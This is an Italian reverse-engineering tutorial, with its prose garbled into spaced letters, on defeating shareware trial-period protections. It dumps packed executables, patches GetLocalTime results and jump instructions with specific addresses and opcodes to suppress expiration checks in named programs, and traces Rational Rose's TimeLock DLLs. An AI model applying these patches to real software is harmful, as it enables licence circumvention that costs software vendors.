Speci f i cat e i l nome del pr ogr amma andandol o
a cer car e e sel ezi onandol o dal l a l i st a.
Quando vi vi ene most r at a l a f i nest r a i n cui
sel ezi onar e i l met odo di packi ng sel ezi onat e
l a pr i ma r el at i va al met odo SCONOSCI UTO ( a
meno che non l o conosci at e) .
PROCDUMP car i cher i l pr ogr amma e vi
segnal er t r ami t e una MessageBox di pr emer e
un t ast o a car i cament o avvenut o.
PROCDUMP i ni zi er a l avor ar e
most r andovi a vi deo l o scor r er e dei
byt es anal i zzat i .
Ri cor dat evi quant o appena det t o ovver o
di pr emer e i l pul sant e sol o dopo che
i l pr ogr amma st at o avvi at o da
PROCDUMP.
Ter mi nat o i l l avor o di decodi f i ca, se
andat o a buon esi t o, vi ver r
r i chi est o di assegnar e un nome al f i l e
di cui esegui r e i l dump.
I l f i l e deve aver e est ensi one . EXE i n
quant o, come i l f i l e che l o ha gener at o, i l f i l e esegui bi l e con l e
i nf or mazi oni nor mal i zzat e.
Pr i ma di cont i nuar e pr ovat e a f ar e l a pr ova pi sempl i ce di t ut t e, ovver o
pr ovat e a l anci ar e i l pr ogr amma per veder e se non ci sono pr obl emi .
Si cur ament e i l
f i l e avr una
di mensi one
di ver sa.
I l pi gr osso
quel l o
cr eat o da
PROCDUMP ( nel
mi o caso) .
Come abbi amo det t o al l i ni zi o del l ar goment o WDASM segnal ava che i l f i l e aveva
i l PE i n un f or mat o non st andar d e cer cando di vi sual i zzar e l e f unzi oni
i mpor t at e ne veni vano most r at e pochi ssi me.
Adesso car i cando i l pr ogr amma con WDASM e vi sual i zzando l e f unzi oni i mpor t at e
vengono most r at e t ut t e ( quest a sol o l i ni zi o ma si vedono gi f unzi oni
i mpor t ant i per ver i f i car e i codi ci . . . i n quest o caso i nf at t i vi ene l et t o dal
r egi st r o ) .

advapi 32. RegCl oseKey
advapi 32. RegCl oseKey
advapi 32. RegCr eat eKeyExA
advapi 32. RegDel et eVal ueA
advapi 32. RegFl ushKey
advapi 32. RegOpenKeyExA
advapi 32. RegOpenKeyExA
advapi 32. RegQuer yVal ueExA
advapi 32. RegQuer yVal ueExA
advapi 32. RegSet Val ueExA
comct l 32. I mageLi st _Add
comct l 32. I mageLi st _Begi nDr ag
comct l 32. I mageLi st _Cr eat e
comct l 32. I mageLi st _Dest r oy
comct l 32. I mageLi st _Dr agEnt er
comct l 32. I mageLi st _Dr agLeave
comct l 32. I mageLi st _Dr agMove
comct l 32. I mageLi st _Dr agShowNol ock
comct l 32. I mageLi st _Dr aw
comct l 32. I mageLi st _Dr awEx


Quest o i nvece er a l i ni zi o ( e quasi
l a f i ne) del pr ogr amma non pr ocessat o
da PROCDUMP) .

KERNEL32. Begi nUpdat eResour ceA
KERNEL32. Cl oseHandl e
KERNEL32. Connect NamedPi pe
KERNEL32. Cont i nueDebugEvent
KERNEL32. Cr eat eFi l eA
KERNEL32. Cr eat eFi l eMappi ngA
KERNEL32. Cr eat eMut exA
KERNEL32. Cr eat eSemaphor eA
KERNEL32. DebugAct i vePr ocess
KERNEL32. Del et eCr i t i cal Sect i on
KERNEL32. Del et eFi l eA
KERNEL32. Devi ceI oCont r ol
KERNEL32. EndUpdat eResour ceA
KERNEL32. Ent er Cr i t i cal Sect i on

Gener al ment e un si st ema Ti meLock compost o da pi f i l e t r a i qual i ne esi st e
uno i n f or mat o nor mal e che cont i ene l e ( o l a) f unzi oni che decodi f i cano l e
al t r e.
Se si cer ca di l egger e l e i nf or mazi oni di un f i l e pr i ma che quest o venga
decodi f i cat o si cur ament e ver r anno f uor i ameni t o i n ogni caso un numer o
si cur ament e i nf er i or e al l ef f et t i vo.
Al cuni pr ogr ammi che ef f et t uano i l dump ser vono appunt o a r i cr ear e l e t est at a
dei pr ogr ammi dopo che i l sof t war e or i gi nal e l o ha decodi f i cat o.
Nel l a par t e l egat e al si st ema di Ti meLock chi amat o VBOX appr of ondi r emo i l
di scor so sui PE codi f i cat i e sul met odo di at t ender e che i l pr ogr amma st esso
esegua l a decodi f i ca per poi cr ear e dei DUMP con pr ogr ammi come Sof t Dump,
Pr ocDump o si mi l i a.
Una not a par t i col ar e r i guar da l a scel t a del debugger .
Spesso un pr ogr amma ut i l i zza l a l i br er i a r el at i va al l a macchi na vi r t ual e di
vi sual basi c o comunque scr i t t o i n un l i nguaggi o con f unzi oni pr opr i e che
r endono di f f i ci l e l i nt er pr et azi one del l e r out i nes per l a ser i al i zzazi one.
Quando vedet e che un pr ogr amma i mpor t a l e f unzi oni da MSVBVM60. DLL al l or a pot et e
st ar e si cur i che quest a l i br er i a a sua vol t a r i chi ama l e var i e f unzi oni API di
Wi ndows pr esent i i n Gdi 32. DLL, USER32. DLL ecc.
Pot endo i nt er cet t ar e quest e f unzi oni pot r est e cer car e l e var i e Get Dl gI t emText A
ecc.
Debugger come WDASM vi most r ano una f i nest r a i n cui compai ono l e f unzi oni
i mpor t at e e l uni co modo per set t ar e dei br eakpoi nt sul l i nt er cet t azi one di
quest e quel l o di cl i ckar e su quel l e desi der at e.
Pot r est e usar e i l met odo di i mpor t ar e voi l e l i br er i e set t ando poi degl i
abbi nament i con pr ogr ammi at t i vi , ma non sapr ei di r vi con pr eci si one se una
t ecni ca ut i l i zzabi l e sempr e.
Debugger come Sof t I ce possono esegui r e l i mpor t da WI NI CE. DAT del l e DLL
cont enent i l e var i e f unzi oni Get Dl gI t emText A ecc. per cui se l a f unzi one di VB
6. 0 ut i l i zzer quel l a al l or a l i nt er cet t azi one pot r esser e f at t a sempl i cement e.
Ecco l a copi a di un wi ni ce. dat i n cui sar suf f i cent e el i mi nar e i l r em di nanzi
al l a DLL per esegui r e l i mpor t .

; WINICE.DAT
; (SIW95\WINICE.DAT)
; for use with SoftICE Version 3.2 (Windows 95)
; 14 July 1997
; *************************************************************************
; If your have MORE than 32MB of physical memory installed, change
; the PHYSMB line to the correct # of Megabytes.
; If you have LESS than 32MB you can save a bit of memory by
; specifying the correct # of Megabytes
; *************************************************************************
; ***** Examples of sym files that can be included if you have the SDK *****
; Change the path to the appropriate drive and directory
;LOAD=c:\windows\system\user.exe
;LOAD=c:\windows\system\gdi.exe
;LOAD=c:\windows\system\krnl386.exe
;LOAD=c:\windows\system\mmsystem.dll
;LOAD=c:\windows\system\win386.exe
; ***** Examples of export symbols that can be included *****
; Change the path to the appropriate drive and directory
;EXP=c:\windows\system\vga.drv
;EXP=c:\windows\system\vga.3gr
;EXP=c:\windows\system\sound.drv
;EXP=c:\windows\system\mouse.drv
;EXP=c:\windows\system\netware.drv
;EXP=c:\windows\system\system.drv
;EXP=c:\windows\system\keyboard.drv
;EXP=c:\windows\system\toolhelp.dll
;EXP=c:\windows\system\shell.dll
;EXP=c:\windows\system\commdlg.dll
;EXP=c:\windows\system\olesvr.dll
;EXP=c:\windows\system\olecli.dll
;EXP=c:\windows\system\mmsystem.dll
;EXP=c:\windows\system\winoldap.mod
;EXP=c:\windows\progman.exe
;EXP=c:\windows\drwatson.exe
; ***** Examples of export symbols that can be included for Windows 95 *****
; Change the path to the appropriate drive and directory
;EXP=c:\windows\system\advapi32.dll
;EXP=c:\windows\system\shell232.dll
;EXP=c:\windows\system\comctl32.dll
;EXP=c:\windows\system\crtdll.dll
;EXP=c:\windows\system\version.dll
;EXP=c:\windows\system\netlib32.dll
;EXP=c:\windows\system\msshrui.dll
;EXP=c:\windows\system\msnet32.dll
;EXP=c:\windows\system\mspwl32.dll
;EXP=c:\windows\system\mpr.dll

I n al t r e par ol e un l i nguaggi o xx pot r ebbe aver e del l e f unzi oni sue per l egger e
un campo d edi t .
Se l a l i br er i a si suppor t a sul l e API di Wi ndows si gni f i cher che quest a
ut i l i zzer appunt o quest e ul t i me per l esecuzi one del l a f unzi onal i t .
Nel capi t ol o r el at i vo al l e l i br er i e esi st e un ampl i ament o del di scor so r el at i vo
al MSVBVM60. DLL.
Pot r emmo aver e una f unzi one Leggi Edi t Fi el d( ) che si suppor t a su Get Dl gI t emText A.
Se non si et e speci al i zzat i nel l i nguaggi o pot et e sol o andar e ad i nt ui t o per
capi r e qual i f unzi oni svol gono un cer t o compi t o e gener al ment e l o si pu f ar e
sol o dal nome.
Pot endo i nt er cet t ar e al l a base l a f unzi one su cui si basa al l or a sempl i f i cher et e
i l t ut t o.


CAMBIO DEI PARAMETRI DELLA DATA DI EXPIRE

Se par t i amo dal pr esuppost o che al cuni pr ogr ammi cont r ol l ano l a dat a per saper e
se i l pr ogr amma scadut o, possi amo i mmagi nar e due possi bi l i t ecni che.
La pr i ma par t e dal pr esuppost o che da qual che par t e i l pr ogr amma l egge l a dat a
at t ual e per conf r ont ar l a con quel l a di i nst al l azi one.
Se quando i nst al l i amo i l pr ogr amma esegui amo subi t o l a modi f i ca pot r emmo sper ar e
nel cor r et t o f unzi onament o di una met odol ogi a di quest o t i po.
Supponi amo che l a dat a di i nst al l azi one si a 12/ 09/ 1999.
I ndi pendent ement e da dove si r egi st r a l a dat a di i nst al l azi one suf f i cent e che
modi f i chi amo l a chi amat a a Get Local Ti me o del l a f unzi one che i l pr ogr amma
ut i l i zza per l egger e i l t empo f acendo i n kodo che quest a r est i t ui sca sempr e l a
dat a 12/ 09/ 1999.
Pr endi amo i l o pr ogr amma xxxxx. exe e car i chi amol o con WDASM.
Cer chi amo l e f unzi oni che r est i t ui scono i l t empo ( guar dat e i l capi t ol o del l e
API ) .
Nel l esempi o esi st e sol o Get Local Ti me.

......
kernel32.GetLocaleInfoA
kernel32.GetLocalTime
kernel32.GetLogicalDrives
......

Set t i amo un br eakpoi nt e at t endi amo che si f er mi .
Nel l i st ant e i n cui si at t i va i l br eakpoi nt possi amo veder e l a chi amat a al l a
f unzi one.

API void Arg00 = GetLocalTime(Arg01)
API Address=00405A68, API Return Address=00408465
Arg01 = (LPSYSTEMTIME) 0069fc6c
Arg01->st.wYear = 49024 decimal
Arg01->st.wMonth = 16609 decimal
Arg01->st.wDayOfWeek = 31342 decimal
Arg01->st.wDay = 68 decimal
Arg01->st.wHour = 64640 decimal
Arg01->st.wMinute = 105 decimal
Arg01->st.wSecond = 31356 decimal
Arg01->st.wMilliseconds = 68 decimal

RESULT for API GetLocalTime
Arg00 = (void)
Arg01 = (LPSYSTEMTIME) 0069fc6c
Arg01->st.wYear = 1999 decimal
Arg01->st.wMonth = 9 decimal
Arg01->st.wDayOfWeek = 4 decimal
Arg01->st.wDay = 16 decimal
Arg01->st.wHour = 0 decimal
Arg01->st.wMinute = 56 decimal
Arg01->st.wSecond = 47 decimal
Arg01->st.wMilliseconds = 680 decimal


I l codi ce most r at o i l seguent e :

* Reference To: kernel32.GetLocalTime, Ord:0000h
|
:00408460 E803D6FFFF Call 00405A68
:00408465 668B4C240E mov cx, word ptr [esp+0E]
:0040846A 668B54240A mov dx, word ptr [esp+0A]
:0040846F 668B442408 mov ax, word ptr [esp+08]
:00408474 E81FFEFFFF call 00408298

I r egi st r i cx, dx, ax cont engono ( da not ar e che oggi al mi o comput er i l
16/ 9/ 99)

EAX=000007CF -> AX=07CF -> DECIMALE 1999
ecx=ca0a0010 -> CX=0010 -> DECIMALE 16
edx=bffc0009 -> DX=0009 -> DECIMALE 9

Se l a dat a di i nst al l azi one del pr ogr amma f osse quel l a odi er na pot r ei set t ar e
del l e cost ant i modi f i cando l e i st r uzi one mov cx, wor d pt r [ esp+0E] ecc. con

MOV CX, 0010
MOV AX, 07CF
MOV DX, 0009

I l secondo met odo quel l o i nvece di andar e a veder e dove vi ene f at t o i l
cont r ol l o sul numer o di gi or ni .
La r i cer ca pu avveni r e anche cer cando l a segnal azi one del pr ogr amEXPI RED.

:00447AA8 837DE81E cmp dword ptr [ebp-18], 0000001E
:00447AAC 7E40 jle 00447AEE
:00447AAE 6A30 push 00000030

* Possible StringData Ref from Code Obj ->"Expiration Notice"
|
:00447AB0 68847D4400 push 00447D84

* Possible StringData Ref from Code Obj ->"Your trial period for Directory "
->"Printer has "
|
:00447AB5 68987D4400 push 00447D98
:00447ABA 8B45FC mov eax, dword ptr [ebp-04]
:00447ABD E83AB2FDFF call 00422CFC
:00447AC2 50 push eax

* Reference To: user32.MessageBoxA, Ord:0000h
|
:00447AC3 E8F0E5FBFF Call 004060B8
:00447AC8 8B45FC mov eax, dword ptr [ebp-04]
:00447ACB 8B8064020000 mov eax, dword ptr [eax+00000264]
:00447AD1 33D2 xor edx, edx

Se i l pr ogr amma ar r i vasse a 00447AC3 ( 4 r i ghe qui sopr a) segnal er ebbe i l
messaggi o di EXPI RED per cui nel l a seconda r i ga sar suf f i ci ent e sost i t ui r e i l
sal t o j l e 00447AEE con un J MP f i sso, sal t o che gl i f ar ebbe sal t ar e i l messaggi o
di expi r ed e qui ndi . . . .

:00447AAC EB40 jmp 00447AEE
:00447A9D call DIRPRINT.00402994
:00447AA2 sub ebx, eax
:00447AA4 inc ebx
:00447AA5 mov dword ptr [ebp-18], ebx
:00447AA8 cmp dword ptr [ebp-18], 0000001E
BP*:00447AAC jmp DIRPRINT.00447AEE

Dopo quest ul t i ma i st r uzi one pr emet e F9
e l asci at e esegui r e i l pr ogr amma.
Beh! Dovr et e sol o pot er soppor t ar e i l
non senso del messaggi o che vi di ce :
Quest a una ver si one a 30 gi or ni di
pr ova . . . voi si et e al 72 esi mo gi or no
dei 30 . . . .




FUNZIONI DI FORMATTAZIONE DEL TESTO

Al cune vol t e vengono most r at e, dal pr ogr amma i n anal i si , del l e st r i nghe che sono
st at e chi ar ament e f or mat t at e
da f unzi oni qual i wspr i nt f ( )
ecc.
Andando a cer car e quest a
f unzi one si t r ova i l codi ce che
segue.

:004067C4 E8E7810100 Call 0041E9B0
:004067C9 A1E8CE4200 mov eax, dword ptr [0042CEE8]
:004067CE 83C0E2 add eax, FFFFFFE2
:004067D1 50 push eax

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004067A1(U), :004067C0(U)
|
:004067D2 6860A34200 push 0042A360
:004067D7 6820CF4200 push 0042CF20

* Reference To: USER32.wsprintfA, Ord:02ACh
|
:004067DC FF15BC524200 Call dword ptr [004252BC]
:004067E2 A1E8CE4200 mov eax, dword ptr [0042CEE8]
:004067E7 83C40C add esp, 0000000C

Pr i ma del l a chi amat a a wspr i nt f ci sono t r e push che ser vono a passar e i
par amet r i .
Le due push con i ndi r i zzo f i sso equi val gono al l a st r i nga :

(Evalutation day %d of %d)

I l val or e dei gi or ni di at t i vazi one vi ene passat o t r ami t e i l r egi st r o EAX.
Come possi bi l e veder e pr i ma che avvenga i l push di EAX i l val or e di EAX vi ene
set t at o con i l val or e cont enut o al l i ndi r i zzo 0042CEE8.
Quest o si gni f i ca che quest o i ndi r i zzo vi ene ut i l i zzat o per mant ener e i gi or ni di
at t i vazi one.
Andi amo a cer car e con l a f unzi one di r i cer ca dove vi ene assegnat o quest o val or e
con qual che i st r uzi one t i po :

mov dword ptr [0042CEE8], ..... qualche valore

Pr ovat e a cer car e anche sol o l a st r i nga 0042CEE8.
L uni ca assegnazi one a quel l i ndi r i zzo st at a t r ovat a a 004066E9 :

:004066DA E851FEFFFF call 00406530
:004066DF A3E4A24200 mov dword ptr [0042A2E4], eax
:004066E4 2BC6 sub eax, esi
:004066E6 40 inc eax
:004066E7 3BC3 cmp eax, ebx
:004066E9 A3E8CE4200 mov dword ptr [0042CEE8], eax
:004066EE 7E05 jle 004066F5
:004066F0 BD01000000 mov ebp, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004066EE(C)
|
:004066F5 68C0AF4200 push 0042AFC0

A quest o punt o pot r emmo sol o pr ovar e a set t ar e un al t r o val or e.
I l pr obl ema or a t r ovar e i l modo per i nser i r e dei codi ci che non vadano a
modi f i car e con l a l or o l unghezza i codi ci oper at i vi gi esi st ent i .
Ad esempi o l i st r uzi one SUB EAX, ESI ha come l unghezza oper at i va 2 byt es ( 2BC6) .
Ho scel t o quel l i st r uzi one per ch modi f i ca sol o EAX.
L i st r uzi one XOR EAX, EAX ha l a l unghezza del codi ce oper at i vo di 2 byt es che
va gi ust o bene.
I l codi ce oper at i vo :

31C0 XOR EAX, EAX

I n pr at i ca dopo quest a i st r uzi one messa al post o di SUB EAX, ESI EAX var r 0 per
cui i l successi vo I NC EAX i ncr ement er EAX por t andol o a 1.
Se l a t eor i a f unzi ona al l i ndi r i zzo 0042CEE8, che cont i ene i l numer o di gi or ni
di at t i vazi one, t r over emo 1 e qui ndi i l pr ogr amma cr eder di esser e at t i vo da
sol o 1 gi or no.
Pr ovi amo a f ar e l a pat ch e l anci amo i l pr ogr amma.
La pat ch :

:004066E4 31C0 xor eax, eax

modi f i cher i l codi ce i n :

:004066D1 push eax
:004066D2 mov byte ptr [esp+16], bl
:004066D6 mov byte ptr [esp+17], bl
:004066DA call MUEDIT.00406530
:004066DF mov dword ptr [0042A2E4], eax
BP*:004066E4 xor eax, eax -----------QUI
:004066E6 inc eax
:004066E7 cmp eax, ebx
BP*:004066E9 mov dword ptr [0042CEE8], eax
:004066EE jle 004066F5
:004066F0 mov ebp, 00000001

Come vedet e l a l unghezza del codi ce oper at i vo gi ust a, ugual e come l unghezza a
quel l a di pr i ma, per cui i l codi ce non
sf asa.
Or a pr emi amo F9 e . . . . .
Chi ar ament e dovr emo i nt er cet t ar e i l
set t aggi o pr i ma che venga f at t o
qual si asi cont r ol l o at t o a def i ni r e l
EXPI RED del codi ce.

Comunque sar pr obabi l e che se vi ene
mant enut a un var i abi l e i n memor i a i
cont r ol l i avvengano i n cor r i spondenza
del l assegnazi one a quest a.
Quest o met odo non val e se i l numer o
di gi or ni vi ene sol o cal col at o e
mant enut o i n var i abi l i t empor anee
( l ocal i ) usat e sul l i st ant e.
I pr ogr ammi che mant engono nel
capt i on i l numer o dei gi or ni
pr obabi l e che i nvece t engano l a
var i abi l e gl obal e e che qui ndi i l
met odo appena vi st o si a val i do.

DLL CHIAMATE E RICERCA DELLE FUNZIONI


Rel at i vament e al l e f unzi oni di al cune
DLL bi sogna osser var e al cuni compor t ament i l egat i ad al cune di quest e.
Cer t e DLL come ad esempi o KERNEL32. DLL vengono l et t e i n ar ee di memor i a
condi vi se e qui ndi t r at t at e come r ead onl y.
I n quest e zone non possi bi l e set t ar e dei br eakpoi nt s e t ant omeno andar e a
modi f i car e l a memor i a.
I n ogni caso possi bi l e per mol t e al t r e DLL andar e a i nser i r e dei br eakpoi nt ed
esegui r e modi f i che.
Quand che vi ene ut i l e gest i r e l i br er i e e DLL ?
Quando esi st ono f unzi oni suf f i ci ent ement e gener i che da pot er e esser e ut i l i zzat e
i n pi di una ci r cost anza al l or a possi bi l e i nser i r e i n una DLL t al i f unzi oni .
Esi st ono dei sof t war e compost i da pi f i l e esegui bi l i .
Pr endi amo ad esempi o Mi cr oangel o che ser ve a gest i r e i cone e l i br er i e di i cone.
La ver si one shar ewar e quando vi ene at t i vat a most r a l a seguent e mascher a.
I l pacchet t o comunque compost o da quat t r o
o ci nque pr ogr ammi i qual i eseguono i l
cont r ol l o per veder e se i gi or ni del
di most r at i vo non sono st at i super at i .
Si cur ament e l e f unzi oni che eseguono i l
cont r ol l o sono st at e i nser i t e dent r o ad una
DLL e non dupl i cat e dent r o a ci ascun f i l e.
I n quest o caso at t i vando ci ascun pr ogr amma
ed andando a veder e si not a che c sempr e
l a dl l E: \ MI CROANGELO\ MUAPP. DLL at t i vat a i n
memor i a.
I n WDASM esi st e una f i nest r el l a che most r a l e DLL at t i ve.
E suf f i cent e sel ezi onar e una DLL dal l a l i st a e cl i ckar ci sopr a per aver e
pr opost a l a domanda se si vuol e di sassembl ar l a.
Come avevo gi det t o pr ecedent ement e, esi st ono anche dei mar cat or i , vi si bi l i
anche nel di segno qui a f i anco, che per met t ono di set t ar e dei br eakpoi nt ogni
vol t a che i l pr ogr amma chi ama una DLL e ogni vol t a che l a scar i ca dal l a memor i a.
Da quest o bi sogner ebbe appr ender e l a l ogi ca dei pr ogr ammi demo ad esegui bi l i
mul t i pl i .
Quando vi accoi r get e che un pr ogr amma vi ene di st r i bui t o con di ver si f i l e
esegui bi l i e che ci ascuno di quest i esegue i l cont r ol l o del t empo di at t i vazi one
o quel l o che l o l i mi t a a demo al l or a si cur ament e l e f unzi oni sono i nser i t e i n
qual che DLL.
Car i cat e i l pr ogr amma e ment r e quest o f er mo sul l a mascher a che vi segnal a
quant i gi or ni avet e a di sposi zi one, l anci at e TaskManager o qual si asi ut i l i t y che
vi most r i qual i f i l e e dl l sono at t i ve i n memor i a.
Accer t at evi dal per cor so o da qual che el ement o che vi per met t a di capi r l o qual i
o qual e dl l r el at i va al pr ogr amma i nt er essat o.
A quest o punt o pr endet e ScanBi n o un al t r o pr ogr amma come Qui ckVi ew che vi
most r i i dat i di quel l a DLL t r a cui f unzi oni espor t at e ecc.
Se i l nome del l a f unzi one abbast anza espl i ci t o da f ar vi capi r e che si t r at t a
del l a f unzi one di cont r ol l o al l or a sapet e gi dove andar e a met t er e l e mani .
I n caso cont r ar i o car i cat e WDASM o Sof t I ce e dopo aver di sassembl at o i l
pr ogr amma andat e a l egger e l a DLL cer cando di met t er gl i dent r o qual che
br eakpoi nt .
Si cur ament e i l numer o dei gi or ni ver r l et t o i n qual che voce di r egi st r o o da
qual che f i l e.
I n ogni caso si cur ament e deve esser ci qual che chi amat a a f unzi oni che
r est i t ui scano l a dat a cor r ent e.
Chi ar ament e gl i al gor i t mi sono abbast anza compl essi per evi t ar e che l ut ent e
possa por t ar e i ndi et r o l or ol ogi o di si st ema o che f acci a qual che cosa per
i mbr ogl i ar e i l sof t war e.
Gener al ment e i
sof t war e devono
pr ot egger si cont r o i l
t empo che st per
scader e ma anche
cont r o l e
r ei nst al l azi oni .
I sof t war e
memor i zzano sempr e
due dat e ovver o
quel l a
d i nst al l azi one e quel l a i n cui un sof t war e scadut o i n
modo t al e che non possa pi esser e i nst al l at o.
Possono esser ci due post i i n cui memor i zzar e t al i dat i .
I l pr i mo i n un di r ect or y comune a t ut t i i si st emi e
pr eci sament e l a wi ndows o l a wi ndows\ syst em.
I l secondo post o i l r egi st r o di wi ndows.
Par l ando di f i l es dobbi amo r i cor dar ci anche dei f i l e
. I NI per cui se ad un cer t o punt o dovessi mo escl uder e
che l e i nf or mazi oni vengono messe nel r egi st r o dovr emmo
non sol o cer car e l e f unzi oni OpenFi l e ecc. ma anche
quel l e l egat e al l a scr i t t ur a e l et t ur a dent r o a f i l es
. I NI .
Comunque quest o ar goment o t r at t at o nel l apposi t o
capi t ol o.
I f i l e i n cui vengono memor i zzat e l e i nf or mazi oni
r el at i ve al l e i nst al l azi oni dei pr ogr ammi sono i n gener e
con i l nome che vi ene cr eat o con:

parte fissa + parte random . estensione

Ad esempi o nel mi o si st ema cont i nuano a cr escer e i f i l es.


Quest i f i l es non sono ver i ocx per cui pot r ebber o esser e . . . .
Comunque i l sugo di t ut t o che come t ar get del l e nost r e r i cer che sui si st emi
t i me bombed possono esser e adot t at i anche i met odi per l a l et t ur a del l e
i nf or mazi oni r el at i ve al l a dat a di si st ema.
Con quest e i nf or mazi oni par t i amo sempr e dal punt o i n cui l e i nf or mazi oni sono
memor i zzat e dent r o al r egi st r o.
Se non t r ovi amo f unzi oni di l et t ur a ed i nt er r ogazi one di quest o pr ovi amo andar e
a cer car e se esi st ono al t r e f unzi oni l egat e al l aper t ur a e l et t ur a di f i l es.
Er avamo par t i t i dal di scor so del l e DLL associ at e ad un pr ogr amma.
Nei di sassembl at or i esi st e l a possi bi l i t di andar e ad anal i zzar e una DLL l et t a
i n associ azi one al pr ogr amma che segui amo.
Pot r emmo per f ar e un al t r a cosa e pr eci sament e l egger e a par t e una DLL ed
associ ar l a ad un pr ogr amma at t i vo.
Per f ar e quest o possi amo segui r e l a seguent e pr ocedur a.
L opzi one vi si bi l e qui a f i anco At t ach t o an act i ve pr ocess per met t e di
associ ar e i l modul o l et t o ad un pr ocesso at t i vo i n quel l i st ant e.
Ad esempi o quando si l egge i l f i l e esegui bi l e ROSE. EXE, i l qual e t est a i l numer o
di gi or ni , ci si pu not ar e che vengono l et t e anche l e DLL :

ADVAPI 32. DLL
COMCTL32. DLL
COMDLG32. DLL
GDI 32. DLL
I MM32. DLL
KERNEL32. DLL
MPR. DLL
MSVCRT. DLL
MSVCRT20. DLL
MSWSOCK. DLL
NETAPI 32. DLL
NETBI OS. DLL
OLE32. DLL
OLEAUT32. DLL
OLEDLG. DLL
RSCNDC22.DLL
RSCNPB22.DLL
SHELL32. DLL
SHLWAPI . DLL
TL31INJ.DLL
USER32. DLL
WI NI NET. DLL
WI NSPOOL. DRV
WS2_32. DLL
WS2HELP. DLL
WSOCK32. DLL

TL31I NJ . DLL, RSCNPB22. DLL e RSCNDC22. DLL pot r ebber o esser e l egat e a quest a
f unzi onal i t ( senza i l pot r ebber o vi st o che si t r at t a del l e DLL che gest i scono
i l t i mel ock)
Anal i zzandol e con ScanBi n o con Qui ckVi ew vi ene f at t o veder e che l a pr i ma
RSCNDC22. DLL r i chi ama l a seconda di r et t ament e. :

DLL used : e:\Programmi\Rational\Rscndc22.dll
=============================================
Direct calls
--------------------------------------------------------------
COMDLG32 = c:\Windows\SYSTEM\COMDLG32.DLL
GDI32 = c:\Windows\SYSTEM\GDI32.DLL
KERNEL32 = c:\Windows\SYSTEM\KERNEL32.DLL
RSCNPB22 = e:\Programmi\Rational\Rscnpb22.dll
USER32 = c:\Windows\SYSTEM\USER32.DLL

Undirect calls
--------------------------------------------------------------
ADVAPI32 = c:\Windows\SYSTEM\ADVAPI32.DLL
COMCTL32 = c:\Windows\SYSTEM\COMCTL32.DLL
SHELL32 = c:\Windows\SYSTEM\SHELL32.DLL
SHLWAPI = c:\Windows\SYSTEM\SHLWAPI.DLL

La DLL espor t a quest e due f unzi oni :

Exported functions : e:\Programmi\Rational\Rscndc22.dll
=======================================================
0 ebCreateDebuggerA
1 ebCreateDebuggerW

e ne i mpor t a un cer t o numer o che per mot i vi di spazi o non r i por t o.
Tr a l e f unzi oni i mpor t at e comunque non r i sul t ano quel l e l egat e al l a gest i one del
r egi st r o.
Si cur ament e i l caso r i por t at o non si adat t a al l a spi egazi one di un caso sempl i ce
i n cui l e r i cer ca del l e f unzi oni di l et t ur a del l a dat a at t ual e vi ene f at t a al l a
l uce del sol e.
Nel caso di si st emi che adot t ano i met odi Ti meLock o Vbox bi sogna i n qual che
modo super ar e l o scogl i o r el at i vo al f at t o che sol o al cune par t i del l e DLL sono
i n chi ar o.
Gr an par t e di quest e sono codi f i cat e o packat e per cui per r i usci r e a
r i nt r acci ar e t al i f unzi oni di l et t ur a del l a dat aq bi sogna o at t ender e che l a
par t e che esegue l unpack f unzi oni ed i n ogni caso bi sogner ut i l i zzar e i
pr ogr ammi i donei per esegui r e i l dump.
Al cune vol t e mi i nner vosi sco per i l f at t o che i t est i r el at i vi ai si st emi di
spr ot ezi one che si t r ovano i r et e si f er mano t ut t i al f at t o di r i nt r acci ar e l a
f at i di ca Get Dl gI t emText .
Si ncer ament e al meno un anno che non r i esco a t r ovar e un si st ema che per met t a
di r i nt r acci ar e l a f unzi one di ser i al i zzazi one medi ant e l a r i cer ca di quest a
f nzi one.
A quest o punt o consi der ando che nel f i l e ROSE. EXE non sono ut i l i zzat e neppur e l i
non r i mane, pr i ma di escl uder e che possano esser e memor i zzat e i nf or mazi oni
dent r o al r egi st r o, che veder e se sono ut i l i zzat e dent r o al l a seconda DLL.
Neppur e i n quest a ci sono r i f er i ment i al l e f unzi oni l egat e al r egi st r o.
Vedr emo t r a poco che quest e f unzi oni sono nel l a t er za DLL.
Supponendo che quest a t er za DLL non esi st a dovr emmo a quest o punt o comunque
pensar e che i l pr ogr amma deve esser e i n gr ado di capi r e se gi st at o
i nst al l at o.
Se l e i nf or mazi oni f osser o memor i zzat e dent r o ad un f i l e pr esent e nel l a
di r ect or y del pr ogr amma, quest o ver r ebbe el i mi nat o con i l del et e del l a di r ect or y
del pr ogr amma.
Si cur ament e i l f i l e dovr esser e pr esent e dent r o ad un f i l e nel l a di r ect or y di
Wi ndows o al l i mi t e dent r o l a syst em.
Or a si t r at t a di st abi l i r e se i l f i l e un . I NI oppur e un f i l e nor mal e.
Se si t r at t a di un f i l e. I NI al l or a pot r emo af f i dar ci al gr uppo di f unzi oni del
t i po Get / Wr i t ePr of i l e*, Get / Wr i t ePr i vat ePr of i l e* ( vedi capi t ol o sul l e API
Wi ndows) .
I n caso di f i l es al l or a si cur ament e ent r er anno i n bal l o l e f unzi oni l egat e al
r eper i ment o del pat h di Wi ndows e Wi ndows\ Syst em.

KERNEL32 285 GetSystemDirectoryA
KERNEL32 286 GetSystemDirectoryW
KERNEL32 316 GetWindowsDirectoryA
KERNEL32 317 GetWindowsDirectoryW

Le f unzi oni pr ecedent i sono st at e vi st e da ScanBi n nel l a seconda DLL di
Rat i onal Rose.
La pr i ma DLL l et t a i n WDASM most r a t r a l e f unzi oni i mpor t at e l e seguent i :

RSCNPB22.ebClearBreakpoint
RSCNPB22.ebClearBreakpointEx
RSCNPB22.ebClearBreakpointsEx

Gi l e pr i me i st r uzi oni di Rat i onal Rose non l asci ano sper ar e nul l a di buono.

:00955000 push [esp+0C]
:00955004 push [esp+0C]
:00955008 push [esp+0C]
:0095500C push E6B0A125
:00955011 push 63B51C5C
:00955016 push E1F34295
:0095501B call TL31INJ.?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z
:00955021 push FFFFFFFF

Dal l e i st r uzi oni i ni zi al i per r i sul t a anche l a chi amat a ad una f unzi one dent r o
al l a DLL TL31I NJ . DLL.
I nf at t i quest a DLL er a l i st at a t r a quel l e at t i ve al l at t i vazi one di ROSE. EXE.
Anche qui at t i vi amo ScanBi n e vedi amo qual i mer avi gl i e cont i ene.
